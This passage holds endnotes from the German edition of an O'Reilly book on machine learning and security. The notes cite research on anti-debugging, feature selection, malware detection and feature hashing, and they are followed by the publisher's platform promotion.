43 Haehyun Cho et al., "Anti-Debugging Scheme for Protecting Mobile Apps on Android Platform", The Journal of Supercomputing 72 (2016): 232-246.
44 Debugging und dynamische Instrumentierung können unrealistisch sein, wenn die Werkzeuge noch nicht ausgereift sind, z. B. wenn es keine Debugger für PDF-Malware gibt.
45 Chotirat Ann Ratanamahatana und Dimitrios Gunopulos, "Scaling Up the Naive Bayesian Classifier: Using Decision Trees for Feature Selection", University of California (2002).
46 Ein gutes Beispiel für die Verwendung des SelectFromModel
Meta-Estimators auf sklearn.ensemble.ExtraTreesClassifier
, um nur die wichtigsten Merkmale für die Klassifizierung auszuwählen, findest du in der scikit-learn Dokumentation.
47 Inspiriert von den Merkmalen, die in Abschnitt 2.1.1 von "Deep Neural Network Based Malware Detection Using Two-Dimensional Binary Program Features" von Joshua Saxe und Konstantin Berlin (MALWARE 2015 conference paper) vorgeschlagen wurden.
48 Kilian Weinberger, Anirban Dasgupta, John Langford, Alex Smola, und Josh Attenberg, "Feature Hashing for Large Scale Multitask Learning", Proc. ICML (2009).
Get Maschinelles Lernen und Sicherheit now with the O’Reilly learning platform.
O’Reilly members experience books, live events, courses curated by job role, and more from O’Reilly and nearly 200 top publishers.